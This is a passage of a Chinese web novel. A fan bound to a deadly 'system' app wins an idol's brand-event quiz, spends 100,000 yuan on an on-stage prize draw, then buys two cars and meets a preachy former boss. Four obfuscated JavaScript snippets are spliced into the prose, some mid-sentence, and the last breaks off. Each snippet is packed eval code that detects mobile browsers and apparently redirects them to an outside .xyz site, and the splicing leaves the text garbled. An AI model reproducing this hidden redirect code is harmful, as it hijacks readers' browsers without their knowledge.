倒是靠近门边的一个家园看到她，没忍住惊叫一声：“妈呀，难怪看了觉得哪里不对劲，这不我的灯牌吗？这不跟我借灯牌的那个姐妹吗？谁啊，这么大咖，都坐第一排了刚刚还这么低调……” 台上的主持人已经笑着让凌钰先跟大家打了招呼，又道：“现在我们进行第一个环节——默契大拷问，我来读题并给出选项，嘉远和这位凌小姐同时翻牌给出回答，如果答案相同则为成功！” 有工作人员拿了ABCD四个选项的小牌子上来分别发给她和聂嘉远。 台下的粉丝尖叫声一浪高过一浪，摄像大哥更是直接凑到了跟前怼脸拍，有嗓门大的姐妹在下面狂吼：“我可以啊！我跟嘉远有默契！嘉远的什么我都了解！让我来啊！” 主持人却高深莫测地笑了笑：“题目没有你们想象中那么简单哦。” “你们以为是考和嘉远相关的题吗？怎么可能？” 她说着，哈哈一笑：“问那些你们肯定全都对，可咱们别忘了今天的主题是什么？没错，是我们ME品牌的官宣活动，所以题目自然都是和ME相关的——” “啊——”激动的叫声变成了无力的感慨，众人七嘴八舌，“那这怎么成功啊，万一问ME是哪年成立的这种题怎么办？” “好尴尬，刚才还羡慕这姐妹能被选中呢，现在已经开始同情了。” 主持人挥了挥手：“当然，考虑到题目可能会有些难度，所以咱们一共八题，凌小姐只要和嘉远同时答对五题就算成功，届时我们会送上品牌方准备的一份小礼物哦！” 下面又嚷嚷起来：“那也很难啊！” “姐妹让我来！我来答，我不要什么小礼物，答对了礼物送给你，能不能让和嘉远拥抱一下啊？或者合影也行！” 众人哄堂大笑。 虽是喊话，却当不得真，可这不要礼物一说—— 主持人脑中急转，笑眯眯地看向凌钰问：“您看，还没开始那边就有人想替您上台，对此您有什么看法？” 她问完，并没有指望能得到什么回答，正要收回话筒自己想办法圆回去。 就见凌钰偏过头，看向声音传来的方向道：“我的看法就是我来答，答对了品牌方送的礼物是我的，和嘉远拥抱拍照的机会也是我的，前提是如果嘉远同意——小孩子才做选择，成年人当然全都要。” 到了这时候，凌钰饭圈老人的优势就体现出来了。 换做一般粉丝，和偶像同台恐怕就已经要神志不清，突然听到这种提问，难免脑中一片空白。 可过去十年，凌钰曾多次参加过林业的商业活动，虽然没有上台的机会，却很清楚大概的流程和重点。 这场活动本意是宣传商务，下面的粉丝活跃氛围没问题，但当着这么多人的面说不要礼物可不是什么好事。知道的会说只是开个玩笑，不知道的还以为家园们嫌弃这品牌，往后直播的切片也难免会被有心人恶意传播和利用。 主持人明显松了一口气，接回话筒说了一句“没错”，又朝下面道：“没关系啊，我们还有好几轮互动，大家都还有机会！现在我们先开始这一轮的答题。” 商业站台，所有一切的出发点都应当和品牌相关，无非是为了更好的宣传产品、理念和发展前景。 好在凌钰出于一种大考前复习的本能，会习惯性提前做好背调。 在收到后援会通知之后的几天，她没事就会翻一翻ME公司的官网，搜一搜ME的官方店铺，因此几个问题都回答得非常迅速，根本难不倒她，让站在旁边，随时准备给点提示放放水的聂嘉远全然没了用武之地。 活动线上同步直播。 此刻弹幕简直跟炸了一样。 “救命啊，这位姐妹也太专业了，无论是主持人刚刚提问时她的反应，还是这会儿所有问题的回答，感觉她了解这个品牌比嘉远还多！” “对啊，这边本来估计已经做好准备在她答不上来的时候提醒她了，结果现在这架势看着，嘉远每答一题之前都看她一眼，不像要提醒她，反倒像是学渣在抄学霸答案……” “啊啊啊这位姐妹，你转头看看嘉远啊！我恨你是块儿木头！偶像在旁边你是一眼不看，你答题这么认真干什么？你是要考研吗？行不行啊，不行换我上！” 有人在尖叫呐喊，也有人提出了质疑。 “不会本来就是什么品牌方的工作人员吧，不然怎么会坐在第一排？” “工作人员就没意思了吧，说好是给粉丝的福利，结果就连上台都内定好了人，是怕题目答不出来吗？担心冷场也没必要这样，还说什么全都要，就算真的答不对，只要过后再强调一下正确答案不就好了？” “丑聂弄虚造假又不是头一回了，哈哈！” “黑子滚出去好吗？不是工作人员，后援会之前就说了，第一排坐的都是有过特殊贡献的粉丝好吧！能不能不要恶意猜测啊！” 众人恍然大悟。 “原来是老粉大粉，怪不得这么冷静淡定，这眼神坚定地像要入党。” 凌钰并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990535|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道网上的评价，在她看来主持人问的问题都很基础，何况还有选项，一路答完八题，听到场下的惊叹她才反应过来：“我答得是不是太快了？” 主持人满脸是笑：“凌小姐真是厉害，您是之前就了解过咱们ME吗？连续八道题，您和嘉远的答案完全一致！按照原先计划，只要答对五题就会有一个小礼品送上。” 她说着，从一旁工作人员的手中接过一个小礼盒：“现在您八题都答对了，要不这样，我们来问问嘉远，可不可以真的满足一下您刚才提到的拥抱和合影，或者您有没有什么想对嘉远说的话，现在都可以当场提哦。” 凌钰愣了一下。 之前在台下时她就已经发现聂嘉远的身量非常高，只是刚才忙着答题实在没来得及细看，此刻再一抬头，这个“高”才有了更多的实感，目测都快一米九了。 肩宽腰窄，眉目俊朗，真是天生做明星的料。 好在追星这事她也算有经验，并不至于看到偶像本人就彻底失了智。再说她对聂嘉远一直都不是女友粉的心态，更多还是对美好事物纯粹的欣赏。 在她心中，他就像自己努力投资助力他成长希望他真正成材的一个娃娃。 不仅关乎她看人的眼光，还关乎她全部的资产和身家性命。 他好，她才能好。 多种复杂的情绪下，凌钰反而显得很冷静。 拥抱合影对她来说其实都不重要，重要的是，她张了张嘴，就想说出自己平时每晚在床上求神拜佛说的那句词，可话还没出口，多年的饭圈雷达忽然响起—— 不对，“不能塌房”这种话恐怕不能在大庭广众之下说，否则难免会造成不小的舆情。 正犹豫要不要换个别的什么说法，口袋里的手机忽然轻轻震动了一下。 凌钰微拧了眉头，忍着没去看，可接下来她的手机却跟疯了似的连续颤动，震感越来越强烈，到最后就连聂嘉远都注意到了：“你要不要先回一下电话，好像一直在震。” 电话肯定不会是电话，凌钰那种不好的预感越来越强烈，她不得不打了声招呼先到一边去查看手机。 果然，【识人】app像是被张小洁附体一般连续重复发了一堆消息来。 “最新任务：本次解锁资金100000元，请于15分钟内用清该金额，并将所购物品送出，请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后死亡。” 你来的可真是时候啊！还有，十万块钱十五分钟用完，她怎么用？怎么送？ 凌钰咬牙站在那，思考着现在跑步离场，去楼下的ME店买完东西再发微博抽奖送出去的可能性。 耽搁的这一会儿，主持人和聂嘉远已经闲聊了好几句，频频往她这边看来。 凌钰收好手机，那边立刻笑着问道：“怎么样，凌小姐想好要什么了吗？或者我们就来个拥抱——” “我那个……”凌钰的视线落在舞台侧面，她接过话筒，迟疑了一秒，“拥抱先等一下啊，我看那边有ME挂出来展示的服装，我能先买几件现场抽奖送给台下的粉丝吗？” 19.第 19 章 台下顿时闹哄哄的，有粉丝惊呆了，在底下狂吼：“我的妈呀，是金家园，我们有救了！” 也有人一脸兴奋：“什么，这居然就是你想要的？ME会不会做生意啊，快点儿，这还犹豫什么，快答应她啊！姐妹你快买，买完了抽我，不用客气，狠狠地抽死我！” 下面笑声一片。 主持人愣了半秒，很快也反应过来。 “哦，您是说要现场买商品赠送吗？那我们——”她看向后台的品牌方工作人员，口中说道，“那我们得先咨询一下ME看看可不可以？这个是展示品还是可以直接售卖的？” 顺着主持人的视线，能看到后台有几个脑袋正凑在一起讨论。 凌钰有些着急。 如果不是这次的任务时长实在太短，她也不至于当着这么多人的面如此突兀地提出这种略显出格的要求。她图的，不过是一个“快”字，可要是他们为这事还要先开个小会，那还不如她刚才就直接百米冲刺去门店买。 手机上的倒计时按秒流逝，已经只剩13分钟。 窒息感缓缓袭来，心跳逐渐加速，可能是原本所剩时长就短，这次的不适来得也格外的快。 凌钰的视线不由落在了一旁的聂嘉远身上。 剑眉星目棱角分明，长得跟个建模似的，可惜帅是帅，生死关头却帮不上一点忙。凌钰有些绝望地想，这才第一次线下追人，难不成她就要任务失败被系统判死刑了？ 她的目光太过炙热，哪怕聂嘉远想要忽视都难，更别说他本来就一直在关注着自家粉丝的状态。 下意识低下头，也不知道为什么，他竟从这眼神中看出了几分如有实质的幽怨。 是因为刚才没答应她拥抱？ 愣神的片刻，一旁的主持人终于得到了准确的指令：“哦，可以，咱们付总说了可以——” 几个工作人员还在讲话，她凑上前去终于听清，连忙将凌钰喊到了跟前。 “付总刚才的意思是，这边展示的几件衣服价格都不便宜，因为您说是要抽奖送人，所以担心您这边会不会觉得贵，如果您不急的话，楼下门店里还有别的款，可以等这个环节结束之后去那边选一下……” 说这话的时候，主持人并没有用话筒，大家都听不到声音。现场的观众全在屏息等待，直播间的弹幕则开始疯狂刷屏。 “妈呀，这是什么戏剧性的场面？这么有钱的吗？” “嘉远在旁边都傻眼了，ber，也没人跟我说还有这么一趴啊，我的粉丝都这么牛掰吗？这样岂不是显得我这个正主很没用？” “救命，我也在T市，早知道今天也去现场了！错亿啊！！” “刚才在官网稍微查了一下价格，这姐妹是真敢开口真有钱啊，那边的几件衣服可不便宜，一件最少也在三万左右，她买来抽奖送人？” “这姐妹自己穿着打扮挺朴素的啊，她身上那件衣服我都有一件，最多两百块，怎么会有这么大口气？” 有懂行的人在后面科普：“她身上穿的确实不值钱，但她脖子上挂着的那块金挂件我在LP金铺见过，最新款，售价至少在7-8w，这还叫朴素？那我也想过上这种朴素的生活。” 有人捧场，自然也有黑子冷嘲热讽。 “我就说丑聂造假成性，这还不是提前安排的剧本？谁家正常人打扮成这样，穿那么便宜戴那么贵的东西，主持人第一个就点了她，回答全对再让她提心愿，然后现场买衣服送人？一看就是假的，也就你们这帮蠢货相信。” “丑聂数据注水又不是一天两天了，杂志销售额居然敢说自己突破三千七百万，吹牛逼都不打草稿，这里面也不知道自家公司花了多少钱。现在又搞上抽奖剧本了，为了红也是真舍得。” “就是，我倒要看看谁中奖，别到时候一看全是演员哈哈哈哈，那丑聂将成为内娱第一笑话。” 活动现场，主持人话音刚落就被凌钰拒绝了：“不了，我急。” “您急……” “哦，我是一会儿有急事，”凌钰自觉失言，在周围几人疑惑的眼神中话锋一转，“来不及再去楼下选了，反正我这里一共十万块的预算，一次性全部用完，你们让人帮我凑个整，看能买几件，我现在就付款。” 她顿了顿，扭头往台下看了一眼：“只是这个抽奖有点麻烦。” 这礼堂虽大，却不是每个人都有座位，放眼望去，仍然有一些站在过道里的，坐在台阶上的，那单靠报几排几座抽奖显然就不够公平了。 可刚才她已经说了是现场抽，真要再发到微博，线上的人肯定也会参与。 还真是个两难的抉择。 那边工作人员已经去帮忙计算价格，一旁的聂嘉远看了半晌，想到了一个好办法：“现场抽奖的话，咱们可以通过摇臂摄像机啊，你转过去不看大屏幕，随机喊停，停到谁就是谁。” 还真是！ 凌钰转过头，赞许地看了他一眼。可以，她收回之前的话，这人不仅长得帅，生死关头也还是有点用的。 被她这么看了一眼，不知道为什么，聂嘉远居然莫名生出了一股难以言喻的被认可的自豪。 没等他摸清这点自豪究竟因何而来，凌钰已丢下他，急急忙忙去一旁确定了一下价格，扫码刷脸付款，回头比了“4”。 主持人重新拿起话筒。 “好的！那咱们话不多说，现场摇臂摇起来，务必保证每个角落都能拍到，我们一共抽四位现场的朋友，衣服有尺码或者款式不合适的，活动结束之后都可以到楼下ME的门店重新调换。现在让我们由凌小姐随机喊停。” 一连抽了三位，到最后一位时，凌钰手机上的倒计时还剩最后三分钟。 00:02:59 00:02:28 …… 死亡逼近，呼吸越来越困难。 眼前的一切变得模糊，声音空旷黑暗降临，听不清也看不分明，仿佛有某种神秘而强大的力量在反复剧烈拉扯着她的灵魂，在一片虚无中，凌钰几乎是用仅剩的意识对身边的聂嘉远道：“快点帮个忙，你来。” 这说话声太小了，聂嘉远一时甚至以为是自己听错了，转过头看时更觉得她的状态似乎不大对劲，正想着要不要先让她到旁边休息一会儿，就看到她嗫嚅着双唇道：“快点喊停……” 只剩最后一个名额，台下的观众群情激昂，聂嘉远心中一跳，没敢再多问，连忙举起话筒道：“还有最后一个我来喊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996509|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>立时有人大叫：“嘉远抽！快啊！老公抽我！！” 声音响亮中气十足，尾音更是绕梁三日，聂嘉远却没笑，而是转过头去背对大屏幕，随口道：“停。” 话音落下的那一瞬间，凌钰手机的倒计时也跟着戛然而止。所有的不适感霎时消失，银行卡收入到账，附赠寿命同时增加了十天。 凌钰总算松了口气，缓过神来：“谢了。” 聂嘉远愣了一下，低声回道：“不用客气。” 想想又不太放心：“你没事吧？刚才看你……” 凌钰轻轻摇了摇头：“老毛病，这会儿没事了，不仅没事，还好的不能再好。” 比起刚才的气虚迷茫，此刻的她的确显得面色红润中气十足。虽说是自己的粉丝，但人都已经表明了没事，聂嘉远也不好再多问，只想着实在不行，等回头让工作人员问一问她的微博号，真有需要帮忙时，他自然义不容辞。 台上的一点小互动并不显眼，因为此刻的台下正热闹着。 就是这么巧，聂嘉远喊“停”时，画面恰好对准了刚才叫嚷最大声的那位粉丝。没镜头时她叫得欢，这刚一聚焦，她顿时涨红了脸，捂着脑袋赶紧蹲下，恨不得立刻找个地洞钻进去。 周围哄笑连连，就连直播间的弹幕上也全是一排排的“哈哈哈哈”。 自然也少不了看不顺眼的：“就装吧，这边一喊，那边就停，要说这摄像没提前跟他们串通好谁信？丑聂就是戏多。” “还说丑聂跟台上那人不认识吗？两人一直在嘀嘀咕咕说话，不认识会这么熟络？而且哪个粉丝看见偶像会像她这种反应，也不兴奋也不害羞，冷静得像天天都能见面似的。” “丑聂一生黑，害人终害己，路人都看不下去了。” 有人看不过眼，终于回怼：“装什么路人？赵恒都这样了你们还死心塌地，他给你们下咒了？真要喜欢他就去关注他，特意跑来看聂嘉远的直播干什么？” “猩猩能不能先藏好粉籍再说话？我才是真路人看不下去了，人家跟自己粉丝互动，你们跑来自讨没趣干嘛？找你们自己哥哥不好吗，不会是你们哥哥不乐意理你们了吧哈哈！” 弹幕顿时吵起来。 其中有一条被夹在中间：“认真的吗？这不凌钰吗？难怪说找到了好工作有了钱，原来是当了聂嘉远身边的演员啊！” 说话的人太多，很快被刷屏到看不见了。 虽然大多数人并没有能抽中奖品，但这本来就是计划之外的惊喜。 品牌方大约也没想到会有粉丝这么大手笔，商议之后临时又增加了好几个互动环节现场抽奖送小礼物，看得出来对聂嘉远这位新代言人和他粉丝的表现非常满意。 到最后不仅是凌钰，就连中奖的几位粉丝也一同上台与偶像拥抱，顺便拍了张大合影。 直播画面被粉丝剪辑放到了网上，很快，聂嘉远粉丝现场豪掷十万的消息就传了出去。 有人惊叹于粉丝的富有，有人不懈：“十万也叫豪掷？” 还有个微博号则截图道：“我可以证明这人根本就不是什么粉丝，作为她的前同事，她家什么条件我很清楚，如果没有聂嘉远在后面支撑，她不可能拿得出这么多钱买东西送人！” 20.第 20 章 活动现场的凌钰尚不知网上的情况。 虽说整个流程安排得很满，还临时增加了一些环节，但其实真正加起来的时间也不过一个多小时。 聂嘉远后面还有个行程要赶，之后就又得进新的剧组拍戏了。 粉丝们大为不舍，但聚散终有时，虽然有小部分粉丝追着要去地下车库送行，但大部分还是选择自行离场。 活动开始前大家是从中间的门进来的，离场时却先开了前门。 凌钰坐在第一排，出入比别人方便，出来之后又到旁边等了一会儿，被好几波人挥手打了招呼，才看到兴致冲冲跑出来的孙致容和周哥。 孙致容满面红光，激动不已：“姐妹你也太牛了，这是什么霸总行为？问你有什么愿望，你居然说要花钱抽奖！我赌一毛钱，聂嘉远这辈子都不会忘记你了，有你这种粉丝，他可真幸运。” 她念念叨叨的：“你别说，他长得还真是不错，人也体面没什么架子，跟你之前那个偶像完全不一样。可惜我不追星，不然我高低也得为他花点钱。” 凌钰连忙摆手：“算了吧，真要把钱花在追星上，你妈不得骂死你？” “大好的日子咱不说她，”孙致容把手上的空奶茶杯扔进垃圾桶，“她一心想着赚钱，结果呢？钱赔光了不说，还害得周哥跟着欠债，周哥招谁惹谁了？现在钱虽然还完了，我俩也成穷光蛋了。” 凌钰也知道情况，闻言拍了拍她的肩膀：“没事，等我带你起飞。” 两人说话的当儿，之前借她灯牌的那位姐妹终于自人群中挤了出来，一见她们就满脸带笑地招手道：“这儿，这儿！” “我的妈呀！差点没挤死我，”好不容易走到跟前，她喘了两口气，“姐妹你真牛啊，我刚开始还以为你是什么饭圈新人呢，没想到这么厉害，竟然还带着我的灯牌上电视了，与有荣焉，真是与有荣焉。” 凌钰把灯牌递过去，看着她往包里塞，不由笑道：“那也多亏了你的灯牌足够亮，要不是这个，上面的人估计看不到我的。” 对方“嘿嘿”笑了两声：“你被邀请坐第一排，应该是后援会通知的吧？我也是超话创作官，你可以关注我，我叫【家园小助手】，是不是跟我的人设很像？哈哈哈哈！” 她乐呵呵的，旁边又有人来还别的应援物。 凌钰没来得及吭声，孙致容在旁边看着她忙前忙后，已经连连点头：“确实很像，完美契合。” 活动结束得还算早，可下午四点多这个档子却实在有点尴尬，回去吧还得烧菜做饭，不回吧，现在吃晚饭也太早了。 凌钰和孙致容周哥商量了一下，索性去看了场电影，散场后又去老街逛了一圈：买了三个现做的糖人，自己尝试着剪纸，还去玩具店里折腾了半天手工，最后才点了些小吃当晚饭，准备吃完回家。 心情舒畅，三人忙着吃喝玩乐，等彻底尽兴时才发现一个很严重的问题。 是的，时间太晚，地铁停运了。 这下别说是曾经有车一族的孙致容，就连从前难得出门的凌钰也察觉到了没有交通工具的不便。三人在路边愣了半天，没办法还是打了两辆车。 可这个点人多车少，手机上的网约车要么不接单，要么接单了半天不来，寒风凛冽，凌钰被冻得瑟瑟发抖，实在没忍住问道：“你俩明天有空不？要是有空，要不咱也去买辆车。” “啊？”这话突如其来，孙致容被吓了一跳，“不至于吧，真假的？” “真的啊，”凌钰扭过头，把手机拿给她看，“还要等半个小时，这网约车你就打吧，一打一个不吱声。明天咱去看看，要是可以最好买两辆，这样有一辆我开，另一辆你俩开。” “啊？”孙致容这回是着实被吓了好几大跳，“别别别，你真要买就买一辆自己开啊，我们平时上班坐地铁就行了。” “话不是这么说，”凌钰却摇头，“主要我开车技术不大行，有两辆车的话，如果你们没空我就自己开，你们有空我们一起出门，那我不也能蹭个车了？呀，就这么说定了，也不买什么豪车，买两辆代步车就行。” 孙致容还要拒绝，被凌钰一把捂住嘴：“怎么的，现在不是我吃你家饭的时候了？跟我还要分你我？我不买贵的，放一百个心。” 等好不容易上了车，到家时已经是凌晨，凌钰实在没力气再折腾，冲了把热水澡就倒头大睡，自然也没再去关注网上的情况。 虽是半夜，微博里却仍旧热闹。 聂嘉远今天的活动可以说办的非常成功，虽然有不少直播切片已经广为流传，但见到了真人的粉丝们还是在不断分享着现场拍到的画面。 线下参与人数见证了真实人气，粉丝现场花钱抽奖更让热度再上一个台阶，尤其是官方还公布了活动之后的销售额——据说很多粉丝刚出了礼堂就直奔楼下门店，硬生生把聂嘉远当时现场的同款都买到断了货，足见氪金粉的实力。 喜欢的人兴奋得完全不想睡，讨厌的人同样恨得咬牙切齿难以入眠。 从直播起就开始的粉黑大战一直持续到半夜，聂嘉远相关的词条也在热搜最下方来来回回，但因为当事方并没有任何反应，从前的对家此时又自身难保，这热度也就不是太稳。 何况比起粉丝花钱支持偶像这种常规剧情，大多数的吃瓜群众还是更喜欢看赵恒的抓马故事，因此等凌钰第二天醒来时，看到的仍旧是被花香娱乐霸榜的场面，甚至还多了一条赵恒“前女友”的最新回应。 他的事一时半会折腾不完，凌钰暂时也没空去管，因为她得先去买车了。 早年间她虽然也考了驾照，但其实一直没怎么正经开过车，那时候刚刚毕业，也就用孙致容的车练过那么几回手。 后来孙致容她妈投资失败被人骗光了钱，又偷偷用周哥的身份证借贷，结果再次赔的一毛不剩，他们就只能卖了车卖了房，到现在一家三口住在一个租着的小破屋里。 是的，她那位要强的妈又独自出门闯荡去了，只留下孙致容和她爸，以及周哥在家。 车没了，她也再没了练的机会。 现在终于要买车，凌钰虽是第一次，那俩却是经历过的，因此周哥一早就和4S店的人约好了，九点半左右去看车。 一出汽车城地铁口，三人还没走近就能看到不少豪车品牌，不过凌钰目前的经济实力还不允许，再说车嘛，于现在的她而言更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004914|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多还是代步工具，实用就好，没必要追求太贵太豪华。 但考虑到安全问题，也不能买得太差。 凌钰走了几家店，最终还是定了两辆三十万左右的油车，她自己的那辆小一点，稍微便宜些，孙致容周哥的那辆是SUV，也就更贵些。 孙致容捂着心脏在旁念念叨叨。 “你认真的？不是，昨天不说的是买代步车吗？我记得周哥帮你约的那家报价六万啊，怎么就走到这来了？谁告诉你三十六万的车是代步车了，你现在对钱是不是没什么概念？这样我都害怕啊我！” “说真的，要不你就买辆小的就是了，我们真的可以坐地铁！你要是觉得我们一起出门得开车，我们可以先坐地铁去你家拿了车再走，真的！” 她说着，又一巴掌拍周哥脑袋上：“你怎么没动静？帮忙劝劝她啊，我这姐妹好像疯了！” 周哥被打得抱着脑袋愁眉苦脸：“我从来了之后就在劝啊，结果越劝她看的越贵，硬生生从六万看到十六万，看到二十六万，这都三十六万了。我怕我再劝她还要去买更贵的，我哪敢再说话啊！” 凌钰听得好笑，跟一旁工作人员说了一声让他去拿合同，这才扭过头道：“这不是觉得太便宜的太脆皮吗？” “本来是想着不用买太好的，可我开车技术不佳，这牌子有自动刹停，让我很有安全感，而且咱尽量一步到位，以后也不用总想着换车了，放心啊，”凌钰道，“定了就这两辆，肯定不会买更贵的了。” 孙致容一副呼吸困难的样子，不太确信地道：“真的？以后也不会再买？” 凌钰侧着脑袋想了想：“应该不会吧。” T市说小不小，说大也不大。 这边才刚在合同上签了字准备提车，那边就听到有个迟疑的声音在不远处响起：“凌钰？” 凌钰扭过头，那声音的疑惑也变成了确定：“还真是你，刚才远远地看了就觉得像你，没想到你居然——” 对方说着走上前来，视线落在已经签好的合同上，顿了顿：“在买车？买两辆啊？这是真在别的地方发财了，难怪看不上咱们公司，可不是我说话难听，你当初一言不发就不来上班，也真不能怪我拉黑了你。” “许经理？” 凌钰挑了一下眉，她这运气，还真是在哪都能见到熟人。 这不是她前公司的前主管，那位在她昏迷当天发了一堆消息来，之后又果断通知她被辞退的许君吗？ 许君听到她这称呼，却摆了摆手：“我可担不起你喊经理，现在毕竟不是同事了，你叫我名字就行。前两天听陈桦和张小洁说你现在混得不错，出手大方月入百万，我还当她俩是疯了胡说的，没想到是真的。” “凌钰啊，别怪你许大哥说话难听，你其实是有点本事的，”许君的表情说不上来的古怪，“当初在公司我就觉得你的能力比别人要强，要是真能找个好工作也不错。” “可咱们这个行业月入百万？难哪！我入行这么多年，现在的年收入也不过才两百万出头，买车都不敢买顶配，”他笑了笑，意味深长道，“有钱人的生活纸醉金迷，你还年轻，可千万别因为一时的冲动迷失了自己。” 21.第 21 章 凌钰点点头，只装没有听懂，一路客气地道：“是是是，对对对，许经理说得没错，我记着了。” 一通居高临下的说教之后，许君终于心满意足地带着人走了。 远远的，还能听到他身边的女人小声嘀咕：“这就是你之前说的那个凌钰，招呼都不打一声突然就不上班的那个？看上去还挺老实本分的，不像是那种人，怎么年纪轻轻不学好？” 许君抬手拍了拍她。 “现在的小年轻谁知道怎么想的？她家又没大人教，没钱没背景的，走了歪路也是正常，我这也就是看在同事一场的份上劝两句，我可不想将来被人说手底下曾经带过这种人，还月薪百万……” 他砸了砸嘴，在工作人员的带领下出了店门：“就凭她，怎么可能？” 目送着他们的背景离去，看着许君接过车钥匙进了一辆售价大约二十万的车内，里面的三人才收回目光。 凌钰倒是镇定如常，孙致容憋了半天却终于憋不住了。 “姓许，这就是你之前公司的那个主管？他身边那个是他老婆啊？真是俩神人，莫名其妙上来就教训人，说坏话都不知道先走远点。” “对啊，”凌钰没太在意，招手让工作人员过来刷卡付账，完成交易之后才拉着孙致容带着周哥去了楼上的休息室，“就是那个许君，真没想到买个车居然也能碰到他，我这运气也太好了，怎么跟你们出门从来没碰到过你们的同事呢。” 孙致容哈哈一笑：“周哥的同事都住在比我们还远的郊区，我的同事是每天累得半死不活，上班忙工作，下班卷孩子，才不出门浪费时间。” “不过这姓许的有毛病吧？”孙致容撇了撇嘴，“看着一本正经，结果奇奇怪怪在大放什么厥词，我刚才听了都想骂他，什么月入百万难，什么他工作了这么久才年入百万，啥意思？阴阳怪气的。” 孙致容叹了口气：“你这脾气也真好，他都说到你头上来了，你还在那好好好对对对呢，真是先天打工圣体。” “那倒不是，”凌钰却摇了摇头，“主要和他做同事久了，以我对他的了解，他这种人你是不能真跟他计较辩论的，否则他口若悬河旁征博引，咱们估计等天黑了都回不去。” “什么意思？”孙致容愣了一下。 周哥在旁一语中的：“他有爹瘾，不说教难受。” “对，”凌钰点头，“而且他和陈桦张小洁不一样，那两位有时候你越不吭声她们越越来劲，这人却是不能理的类型，越理他越没完没了。以前在公司，但凡有谁和他意见稍微不统一，那都是两个小时演讲起步。” 凌钰躺在按摩椅上：“跟他费那个劲，咱不如在这儿歇会。” 说话的当儿，旁边有工作人员走过来介绍：“我们这边有现磨咖啡，也有奶茶和其他饮品，如果您有需要的话，这边还有按摩眼罩，都是可以免费使用的。您可以一边用按摩椅一边戴上眼罩休息，等那边帮您办好业务，我们会来叫您。” 凌钰想到从前自己喝的那些速溶咖啡，毫不犹豫地道：“我喝杯咖啡吧。” 又问孙致容和周哥：“你们呢？” “都喝咖啡，一杯不放糖，另外的就正常拿铁，”孙致容想想，又补充一句，“我和周哥都要冰的，她那杯要热的。” 这个“她”自然是指凌钰。 比起速溶咖啡浓郁的香精味，现磨咖啡的味道确实更香醇，也不知道这个4S店用的是什么豆子，总之并没有想象中的苦涩，口感顺滑，尾韵绵长。 凌钰想起聂嘉远之前代言的那款心盛咖啡，送出去那么多，她自己都还没尝过，回头还是得买个咖啡机自己做了才好。 不过—— 她现在住的毕竟还是个出租屋，先前的房租只交到年底，因为当初房东就曾说过这边后续可能会有别的用途，要是对方收回房子没办法续租，她买太多东西就不太方便了。 人，没个属于自己的家还真是个问题。 但这显然还不是现在能考虑的事，T市房价太贵，三百万也只能在很远的郊区买个鸽子笼，再加上装修和家具，要想住得舒服可不容易。 她默默展望未来的时候，曾经拥有又全部失去了的孙致容和周哥在经历大风大浪之后则有了种很微妙的豁达感，颇有几分今朝有酒今朝醉的意思，这会儿只是在那感慨“舒坦”。 周哥戴上了按摩眼镜，没过一会儿竟发出了鼾声。 孙致容也很快没了动静。 这咖啡算是一点没能提神。 周围安静下来，凌钰这才有空打开微博。 热搜上的赵恒依然霸榜，事情闹得沸沸扬扬，他的前经纪人，前女友，包括公司官博公司主管，甚至一些所谓的圈内外好友都在发声，可他本人却像是失踪了一样，一点动静都没有。 不少恒星大粉黑了头像，言语中全是失望。 【为什么要做缩头乌龟，为什么不敢面对？如果真不是你的问题，只要你说一句不是你干的，这一切都与你无关，我就可以继续相信你。为什么不说话，半夜的时候你明明微博上线了，为什么装死？】 【每天为你熬夜肝数据，我自己头发都大把大把的掉，需要粉丝冲锋陷阵的时候能专门发博为我们打气，现在呢？你是不敢否认吗？】 【你是演员不是爱豆，你有谈恋爱的自由，那你就该好好精进演技，而不是既要有要。有了女朋友那就好好珍惜，为什么又那样对她？利用合作演员，塑造假象对家，把粉丝当猴耍的时候你又在想什么？】 有人伤心欲绝，也有人幡然醒悟。 【什么恋爱自由？他想要流量就别想着要什么自由！每次活动喊粉丝“老婆们”的人是谁？每次微博发男友视角的是谁？塑造单身人设不就是在贩卖梦想，没有女友粉老婆粉，他能走到今天的位置吗？】 【我做数据花钱买代言，那是想让他有更好的未来更好的事业发展，我是让他用我的钱去养嫂子的吗？找十个男人对付自己女朋友，还虐猫，有病就去医院，别出来祸害人了！】 凌钰随意刷了一会儿，发现无论是他前女友的再次发声还是亲朋好友和公司的回应，又或是粉丝的期待和谩骂，其实都是老生常谈没什么新鲜。 既无法定他的罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 